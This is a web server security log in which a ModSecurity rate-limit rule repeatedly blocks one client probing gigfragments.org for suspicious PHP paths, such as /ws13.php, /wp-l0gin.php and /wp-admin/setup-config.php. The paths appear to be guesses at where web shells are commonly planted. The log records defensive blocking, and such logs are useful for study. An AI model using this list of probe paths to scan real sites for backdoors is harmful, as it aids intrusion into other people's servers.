[Wed Jan 14 06:26:41.091433 2026] [:error] [pid 58977:tid 58991] [client 4.213.64.52:5084] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aWbGoblT6ggZLRx9QvAK1QAAAgs"]
[Wed Jan 14 06:26:41.365807 2026] [:error] [pid 24601:tid 24628] [client 4.213.64.52:5114] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aWbGoUCtWkZ9rlKW5n-J4AAAABI"]
[Wed Jan 14 06:26:41.640547 2026] [:error] [pid 58901:tid 58931] [client 4.213.64.52:35012] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aWbGob3kQSrcqIWtO0o3owAAAcE"]
[Wed Jan 14 06:26:41.917726 2026] [:error] [pid 24710:tid 24736] [client 4.213.64.52:4946] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aWbGoWXBo5bEhDEEhs1zUwAAANg"]
[Wed Jan 14 06:26:59.526133 2026] [:error] [pid 24602:tid 24644] [client 4.213.64.52:5041] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-l0gin.php"] [unique_id "aWbGs0ooYwabcb9R9fxAQQAAAEY"]
[Wed Jan 14 06:26:59.807372 2026] [:error] [pid 58977:tid 58994] [client 4.213.64.52:5090] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-l0gin.php"] [unique_id "aWbGs7lT6ggZLRx9QvAK7wAAAg4"]
[Wed Jan 14 06:27:00.084740 2026] [:error] [pid 24603:tid 24668] [client 4.213.64.52:4997] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-l0gin.php"] [unique_id "aWbGtJPBJGFGN8VT8_Sw7gAAAIM"]
[Wed Jan 14 06:27:00.357034 2026] [:error] [pid 24710:tid 24713] [client 4.213.64.52:5106] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-l0gin.php"] [unique_id "aWbGtGXBo5bEhDEEhs1zdQAAAME"]
[Wed Jan 14 06:27:00.657719 2026] [:error] [pid 58868:tid 58881] [client 4.213.64.52:5050] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aWbGtE67yj8PZAmdsblyTQAAAUs"]
[Wed Jan 14 06:27:00.944449 2026] [:error] [pid 58977:tid 58997] [client 4.213.64.52:5030] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aWbGtLlT6ggZLRx9QvAK9AAAAhE"]
[Wed Jan 14 06:27:01.235467 2026] [:error] [pid 58977:tid 58983] [client 4.213.64.52:4952] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aWbGtblT6ggZLRx9QvAK-AAAAgM"]
[Wed Jan 14 06:27:01.539117 2026] [:error] [pid 58868:tid 58890] [client 4.213.64.52:5034] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aWbGtU67yj8PZAmdsblyTgAAAVQ"]
[Wed Jan 14 06:27:01.821589 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:5085] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aWbGtb3kQSrcqIWtO0o35QAAAdE"]
[Wed Jan 14 06:27:02.104518 2026] [:error] [pid 58899:tid 58907] [client 4.213.64.52:4955] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aWbGtgWViGQd5R44tHF9QAAAAYQ"]
[Wed Jan 14 06:27:02.377779 2026] [:error] [pid 58899:tid 58913] [client 4.213.64.52:5018] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aWbGtgWViGQd5R44tHF9QQAAAYo"]
[Wed Jan 14 06:27:02.649890 2026] [:error] [pid 58901:tid 58940] [client 4.213.64.52:34968] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aWbGtr3kQSrcqIWtO0o36gAAAco"]
[Wed Jan 14 06:27:02.925472 2026] [:error] [pid 24710:tid 24715] [client 4.213.64.52:34983] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aWbGtmXBo5bEhDEEhs1zeAAAAMM"]
[Wed Jan 14 06:27:03.200396 2026] [:error] [pid 58699:tid 58709] [client 4.213.64.52:4938] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aWbGt-YdPBtkMLK2Sdq2WQAAAQc"]
[Wed Jan 14 06:27:03.476067 2026] [:error] [pid 24603:tid 24675] [client 4.213.64.52:5042] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aWbGt5PBJGFGN8VT8_Sw8gAAAIo"]
[Wed Jan 14 06:27:03.750837 2026] [:error] [pid 58899:tid 58922] [client 4.213.64.52:4942] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aWbGtwWViGQd5R44tHF9QwAAAZM"]
[Wed Jan 14 06:27:04.032860 2026] [:error] [pid 24601:tid 24626] [client 4.213.64.52:4980] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aWbGuECtWkZ9rlKW5n-J7gAAABA"]
[Wed Jan 14 06:27:04.307105 2026] [:error] [pid 58901:tid 58948] [client 4.213.64.52:5094] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aWbGuL3kQSrcqIWtO0o38AAAAdI"]
[Wed Jan 14 06:27:04.590734 2026] [:error] [pid 58901:tid 58937] [client 4.213.64.52:5112] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aWbGuL3kQSrcqIWtO0o38QAAAcc"]
[Wed Jan 14 06:27:04.865036 2026] [:error] [pid 58868:tid 58888] [client 4.213.64.52:5005] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aWbGuE67yj8PZAmdsblyVQAAAVI"]
[Wed Jan 14 06:27:05.152783 2026] [:error] [pid 24602:tid 24653] [client 4.213.64.52:5019] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aWbGuUooYwabcb9R9fxATQAAAE8"]
[Wed Jan 14 06:27:05.425594 2026] [:error] [pid 58699:tid 58703] [client 4.213.64.52:34988] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aWbGueYdPBtkMLK2Sdq2XwAAAQE"]
[Wed Jan 14 06:27:05.699655 2026] [:error] [pid 58901:tid 58953] [client 4.213.64.52:34944] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aWbGub3kQSrcqIWtO0o38wAAAdc"]
[Wed Jan 14 06:27:05.974729 2026] [:error] [pid 58899:tid 58905] [client 4.213.64.52:5045] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aWbGuQWViGQd5R44tHF9VAAAAYI"]
[Wed Jan 14 06:27:06.247753 2026] [:error] [pid 24603:tid 24686] [client 4.213.64.52:5053] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws13.php"] [unique_id "aWbGupPBJGFGN8VT8_Sw_QAAAJU"]
[Wed Jan 14 06:27:06.521893 2026] [:error] [pid 24603:tid 24672] [client 4.213.64.52:5040] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws13.php"] [unique_id "aWbGupPBJGFGN8VT8_SxAAAAAIc"]
[Wed Jan 14 06:27:06.831494 2026] [:error] [pid 58899:tid 58918] [client 4.213.64.52:34959] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws13.php"] [unique_id "aWbGugWViGQd5R44tHF9XAAAAY8"]
[Wed Jan 14 06:27:07.109099 2026] [:error] [pid 59074:tid 59076] [client 4.213.64.52:4992] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws13.php"] [unique_id "aWbGu0_KrJ818pzhB3xv0AAAAkA"]
[Wed Jan 14 06:27:07.379716 2026] [:error] [pid 24603:tid 24668] [client 4.213.64.52:4965] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aWbGu5PBJGFGN8VT8_SxAwAAAIM"]
[Wed Jan 14 06:27:07.652205 2026] [:error] [pid 59074:tid 59092] [client 4.213.64.52:4498] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aWbGu0_KrJ818pzhB3xv1QAAAlA"]
[Wed Jan 14 06:27:07.926220 2026] [:error] [pid 24603:tid 24684] [client 4.213.64.52:35022] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aWbGu5PBJGFGN8VT8_SxBAAAAJM"]
[Wed Jan 14 06:27:08.201518 2026] [:error] [pid 59074:tid 59096] [client 4.213.64.52:5023] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aWbGvE_KrJ818pzhB3xv1wAAAlQ"]
[Wed Jan 14 06:27:08.476525 2026] [:error] [pid 58699:tid 58711] [client 4.213.64.52:4490] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aWbGvOYdPBtkMLK2Sdq2ZgAAAQk"]
[Wed Jan 14 06:27:08.750427 2026] [:error] [pid 59074:tid 59079] [client 4.213.64.52:5032] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aWbGvE_KrJ818pzhB3xv2gAAAkM"]
[Wed Jan 14 06:27:09.031372 2026] [:error] [pid 24603:tid 24671] [client 4.213.64.52:4978] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aWbGvZPBJGFGN8VT8_SxBQAAAIY"]
[Wed Jan 14 06:27:09.307664 2026] [:error] [pid 58899:tid 58927] [client 4.213.64.52:5006] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aWbGvQWViGQd5R44tHF9cAAAAZg"]
[Wed Jan 14 06:27:09.599902 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:4932] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aWbGvb3kQSrcqIWtO0o4AAAAAcI"]
[Wed Jan 14 06:27:09.879011 2026] [:error] [pid 24603:tid 24689] [client 4.213.64.52:4492] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aWbGvZPBJGFGN8VT8_SxCAAAAJg"]
[Wed Jan 14 06:27:10.163032 2026] [:error] [pid 24710:tid 24712] [client 4.213.64.52:34979] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aWbGvmXBo5bEhDEEhs1zgQAAAMA"]
[Wed Jan 14 06:27:10.439426 2026] [:error] [pid 58901:tid 58953] [client 4.213.64.52:5036] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aWbGvr3kQSrcqIWtO0o4BAAAAdc"]
[Wed Jan 14 06:27:10.725111 2026] [:error] [pid 58901:tid 58944] [client 4.213.64.52:5025] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aWbGvr3kQSrcqIWtO0o4BQAAAc4"]
[Wed Jan 14 06:27:11.001792 2026] [:error] [pid 24603:tid 24665] [client 4.213.64.52:5043] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aWbGv5PBJGFGN8VT8_SxCgAAAIA"]
[Wed Jan 14 06:27:11.275096 2026] [:error] [pid 24601:tid 24614] [client 4.213.64.52:34969] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aWbGv0CtWkZ9rlKW5n-J_wAAAAQ"]
[Wed Jan 14 06:27:11.549608 2026] [:error] [pid 58977:tid 58994] [client 4.213.64.52:4951] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aWbGv7lT6ggZLRx9QvALAQAAAg4"]
[Wed Jan 14 06:27:11.822683 2026] [:error] [pid 58699:tid 58719] [client 4.213.64.52:4962] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aWbGv-YdPBtkMLK2Sdq2aAAAARE"]
[Wed Jan 14 06:27:12.099325 2026] [:error] [pid 24603:tid 24683] [client 4.213.64.52:4970] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aWbGwJPBJGFGN8VT8_SxCwAAAJI"]
[Wed Jan 14 06:27:12.387928 2026] [:error] [pid 59074:tid 59084] [client 4.213.64.52:4482] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aWbGwE_KrJ818pzhB3xv4wAAAkg"]
[Wed Jan 14 06:27:12.660787 2026] [:error] [pid 58899:tid 58910] [client 4.213.64.52:5020] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aWbGwAWViGQd5R44tHF9dAAAAYc"]
[Wed Jan 14 06:27:12.945927 2026] [:error] [pid 24710:tid 24732] [client 4.213.64.52:4488] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aWbGwGXBo5bEhDEEhs1ziQAAANQ"]
[Wed Jan 14 06:27:13.221504 2026] [:error] [pid 24601:tid 24634] [client 4.213.64.52:4505] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aWbGwUCtWkZ9rlKW5n-KAgAAABg"]
[Wed Jan 14 06:27:13.514455 2026] [:error] [pid 58901:tid 58935] [client 4.213.64.52:4928] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aWbGwb3kQSrcqIWtO0o4CgAAAcU"]
[Wed Jan 14 06:27:13.791472 2026] [:error] [pid 24603:tid 24686] [client 4.213.64.52:4940] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aWbGwZPBJGFGN8VT8_SxEQAAAJU"]
